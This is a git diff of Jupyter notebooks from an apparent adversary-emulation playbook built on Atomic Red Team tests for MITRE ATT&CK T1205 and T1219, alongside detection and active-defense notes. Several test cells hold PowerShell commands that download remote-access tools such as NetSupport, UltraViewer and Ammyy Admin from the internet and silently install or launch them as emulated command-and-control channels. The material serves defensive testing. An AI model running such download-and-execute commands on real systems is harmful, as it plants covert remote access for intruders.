@@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1205.ipynb b/playbook/tactics/command-and-control/T1205.ipynb index 54dfbb84..7c81dc22 100644 --- a/playbook/tactics/command-and-control/T1205.ipynb +++ b/playbook/tactics/command-and-control/T1205.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "e41d8da5", + "id": "a25a25a8", "metadata": {}, "source": "# T1205 - Traffic Signaling\nAdversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)" }, { "cell_type": "markdown", - "id": "747c7184", + "id": "47591d05", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "5a3128c9", + "id": "81650d88", "metadata": {}, "source": "## Detection\nRecord network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)" }, { "cell_type": "markdown", - "id": "882eebdb", + "id": "dd18580e", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nThe defender can implement network monitoring for and alert on anomalous traffic patterns, large or unexpected data transfers, and other activity that may reveal the presence of an adversary.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1219.ipynb b/playbook/tactics/command-and-control/T1219.ipynb index 25a3bf01..778393ef 100644 --- a/playbook/tactics/command-and-control/T1219.ipynb +++ b/playbook/tactics/command-and-control/T1219.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "830bf366", + "id": "d3a26d2d", "metadata": {}, - "source": "# T1219 - Remote Access Software\nAn adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)\n\nRemote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)" + "source": "# T1219 - Remote Access Software\nAn adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)\n\nRemote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n \nAdversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nInstallation of many remote access software may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003))." }, { "cell_type": "markdown", - "id": "b9a68ad4", + "id": "9abf71f3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6ce4a808", + "id": "947c2c70", "metadata": {}, "source": [ "### Atomic Test #1 - TeamViewer Files Detected Test on Windows", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5ebbfc51", + "id": "947e72f4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "07af9732", + "id": "fe0999b4", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$file = 'C:\\Program Files (x86)\\TeamViewer\\uninstall.exe'\nif(Test-Path $file){ Start-Process $file \"/S\" -ErrorAction Ignore | Out-Null }\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nRemove-Item $file1 -ErrorAction Ignore | Out-Null```" }, { "cell_type": "code", "execution_count": null, - "id": "5e57056d", + "id": "1a5f974d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "11cce9b5", + "id": "a3d2cf10", "metadata": {}, "source": [ "### Atomic Test #2 - AnyDesk Files Detected Test on Windows", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5c79733b", + "id": "448eb317", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1ca096ef", + "id": "5c9a32fb", "metadata": {}, - "source": "#### Cleanup: \n```powershell\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\AnyDesk.exe.exe\"\nRemove-Item $file1 -ErrorAction Ignore```" + "source": "#### Cleanup: \n```powershell\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\AnyDesk.exe\"\nRemove-Item $file1 -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "90b0b072", + "id": "6d4d0623", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "8c131f62", + "id": "1122f066", "metadata": {}, "source": [ "### Atomic Test #3 - LogMeIn Files Detected Test on Windows", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b7e4fe3d", + "id": "76a110be", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "5a7d3b42", + "id": "559327f9", "metadata": {}, "source": "#### Cleanup: \n```powershell\nget-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package \n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\LogMeInIgnition.msi\"\nRemove-Item $file1 -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "45567aed", + "id": "e731e007", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "be9dd9e6", + "id": "9f96872d", "metadata": {}, "source": [ "### Atomic Test #4 - GoToAssist Files Detected Test on Windows", @@ -133,28 +133,28 @@ { "cell_type": "code", "execution_count": null, - "id": "63c6cffc", + "id": "627a8539", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "e19c7f06", + "id": "ed1ef4aa", "metadata": {}, - "source": "#### Cleanup: \n```powershell\ntry{$PathToAtomicsFolder/T1219/Bin/GoToCleanup.ps1} catch{}```" + "source": "#### Cleanup: \n```powershell\ntry{\"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1\"} catch{}```" }, { "cell_type": "code", "execution_count": null, - "id": "0193821d", + "id": "950e556a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "b3d0e402", + "id": "9a9d4f66", "metadata": {}, "source": [ "### Atomic Test #5 - ScreenConnect Application Download and Install on Windows", @@ -168,222 +168,222 @@ { "cell_type": "code", "execution_count": null, - "id": "0c1b60b0", + "id": "eb21e540", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0fb2e47b", + "id": "fea7daf6", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$installer = \"C:\\Users\\$env:username\\Downloads\\ScreenConnect.msi\"\nmsiexec /x $installer /qn\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c882f2d3", + "id": "72189ce6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "ab660afc", + "id": "b781c447", "metadata": {}, - "source": "### Atomic Test #6 - Ammyy Admin Software Execution\nAn adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. \nUpon successful execution, Ammyy Admin will be executed. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\ammyy.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe\" -OutFile \"$env:temp\\ammyy.exe\" -UseBasicParsing\n\n```" + "source": "### Atomic Test #6 - Ammyy Admin Software Execution\nAn adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. \nUpon successful execution, Ammyy Admin will be executed. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\ammyy.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\ammyy.exe\" -UseBasicParsing\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "85cf2339", + "id": "63635464", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8de6c698", + "id": "1f518a50", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process $env:temp\\ammyy.exe\n```" + "```powershell\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\ammyy.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e2df2ba3", + "id": "b3e0de4a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "4faa6349", + "id": "fc0f198f", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"Ammyy\" -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7f7a6ebd", + "id": "ceb59735", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "4cce1cc7", + "id": "6b7a6274", "metadata": {}, - "source": "### Atomic Test #7 - RemotePC Software Execution\nAn adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. \nUpon successful execution, RemotePC will be executed. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\RemotePC.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe\" -OutFile \"$env:temp\\RemotePC.exe\" -UseBasicParsing\n\n```" + "source": "### Atomic Test #7 - RemotePC Software Execution\nAn adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. \nUpon successful execution, RemotePC will be executed. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\RemotePC.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\RemotePC.exe\" -UseBasicParsing\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5b62a422", + "id": "86cdc75d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "77225dce", + "id": "245fe73f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process $env:temp\\RemotePC.exe\n```" + "```powershell\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\RemotePC.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3f790789", + "id": "b9cedec7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "ff3bcec6", + "id": "da2784e3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"RemotePC\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"RPCServiceHealthCheck\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"ServiceMonitor\" -Confirm:$False -ErrorAction SilentlyContinue\nUnregister-ScheduledTask -TaskName \"StartRPCService\" -Confirm:$False -ErrorAction SilentlyContinue \nStop-Process -Name \"RemotePCPerformance\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCPerformanceService\" -force -erroraction silentlycontinue\nStop-Process -Name \"RemotePCUIU\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCDownloader\" -force -erroraction silentlycontinue\nStop-Process -Name \"RemotePCService\" -force -erroraction silentlycontinue\nStop-Process -Name \"RPCService\" -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "05284fb8", + "id": "9d07fcbc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "bac5bc0d", + "id": "bc905849", "metadata": {}, - "source": "### Atomic Test #8 - NetSupport - RAT Execution\nA recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\T1219_NetSupport.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n(New-Object Net.WebClient).DownloadFile(\"https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe\",\"$env:temp\\T1219_NetSupport.exe\")\n\n```" + "source": "### Atomic Test #8 - NetSupport - RAT Execution\nA recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1219_NetSupport.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\n(New-Object Net.WebClient).DownloadFile(\"https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe\",\"PathToAtomicsFolder\\..\\ExternalPayloads\\T1219_NetSupport.exe\")\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "79a409cf", + "id": "3140b3b8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "83291134", + "id": "5070f703", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process $env:temp\\T1219_NetSupport.exe -ArgumentList \"/S /v/qn\"\n```" + "```powershell\nStart-Process \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1219_NetSupport.exe\" -ArgumentList \"/S /v/qn\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "10f2cd7e", + "id": "21d4880d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "ddd45864", + "id": "b7268b28", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"client32\" -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "95dd1d37", + "id": "c70a408a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "ce8c7d1f", + "id": "874c0745", "metadata": {}, - "source": "### Atomic Test #9 - UltraViewer - RAT Execution\nA recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\T1219_UltraViewer.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n(New-Object Net.WebClient).DownloadFile(\"https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe\",\"$env:temp\\T1219_UltraViewer.exe\")\n\n```" + "source": "### Atomic Test #9 - UltraViewer - RAT Execution\nA recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1219_UltraViewer.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\n(New-Object Net.WebClient).DownloadFile(\"https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe\",\"PathToAtomicsFolder\\..\\ExternalPayloads\\T1219_UltraViewer.exe\")\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f828d85f", + "id": "ffb30e67", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1ea1bb83", + "id": "ca93930a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nStart-Process -Wait -FilePath \"$env:temp\\T1219_UltraViewer.exe\" -Argument \"/silent\" -PassThru\nStart-Process 'C:\\Program Files (x86)\\UltraViewer\\UltraViewer_Desktop.exe'\n```" + "```powershell\nStart-Process -Wait -FilePath \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1219_UltraViewer.exe\" -Argument \"/silent\" -PassThru\nStart-Process 'C:\\Program Files (x86)\\UltraViewer\\UltraViewer_Desktop.exe'\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "27603174", + "id": "8c32d8ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "b5598bbe", + "id": "1afc5f46", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"UltraViewer_Desktop\" -Force -ErrorAction SilentlyContinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2737f8c5", + "id": "79276cda", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "94a51759", + "id": "b2e4cd2d", "metadata": {}, - "source": "### Atomic Test #10 - UltraVNC Execution\nAn adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.\nUpon successful execution, UltraVNC will be executed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:ProgramFiles\\'uvnc bvba\\UltraVnc\\vncviewer.exe') {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nStart-BitsTransfer -Source \"https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe\" -Destination $env:temp\\vncsetup.exe -dynamic\nstart-process $env:temp\\vncsetup.exe /silent\n\n```" + "source": "### Atomic Test #10 - UltraVNC Execution\nAn adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.\nUpon successful execution, UltraVNC will be executed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:ProgramFiles\\'uvnc bvba\\UltraVnc\\vncviewer.exe') {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\vncsetup.exe\"\nstart-process \"PathToAtomicsFolder\\..\\ExternalPayloads\\vncsetup.exe\" /silent\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3c2b34f1", + "id": "66b2ca69", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e60385a0", + "id": "f302c498", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -393,34 +393,79 @@ { "cell_type": "code", "execution_count": null, - "id": "1077d72e", + "id": "75cf7108", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "dadd3af6", + "id": "fee5175d", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"vncviewer\" -force -erroraction silentlycontinue\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b0204c56", + "id": "0801f3c4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1219 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "a2951ab4", + "id": "8b198ff5", + "metadata": {}, + "source": "### Atomic Test #11 - MSP360 Connect Execution\nAn adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.\nUpon successful execution, MSP360 Connect will be executed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: MSP360 must exist at (#{MSP360_Connect_Path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:ProgramFiles\\Connect\\Connect.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\msp360connect.exe\" \"https://s3.amazonaws.com/cb_setups/_current/cbra/setup.exe?X-Amz-Expires=604800&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA2WIZE3YN7NOSY65U/20230515/us-east-1/s3/aws4_request&X-Amz-Date=20230515T024742Z&X-Amz-SignedHeaders=host&response-content-disposition=attachment;filename=ConnectStandaloneSetup_v3.3.0.15_netv4.5.1_cFA9100C6.exe&X-Amz-Signature=1fe3ddf93f8431b182fac90341f80a4ebf8665ddcc0e36dd385ee20d0ce865c9\"\nstart-process \"PathToAtomicsFolder\\..\\ExternalPayloads\\msp360connect.exe\" /S \n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cfa87a22", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1219 -TestNumbers 11 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "15f76804", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nStart-Process $env:ProgramFiles\\Connect\\Connect.exe\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9dee15c1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1219 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "da1527d5", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"Connect\" -force -erroraction silentlycontinue\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "19387273", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1219 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "396b1558", "metadata": {}, "source": "## Detection\nMonitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions." }, { "cell_type": "markdown", - "id": "a5e6eaeb", + "id": "d36cc923", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can install remote access tools on decoy systems across the network to see if the adversary uses these tools for command and control.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ 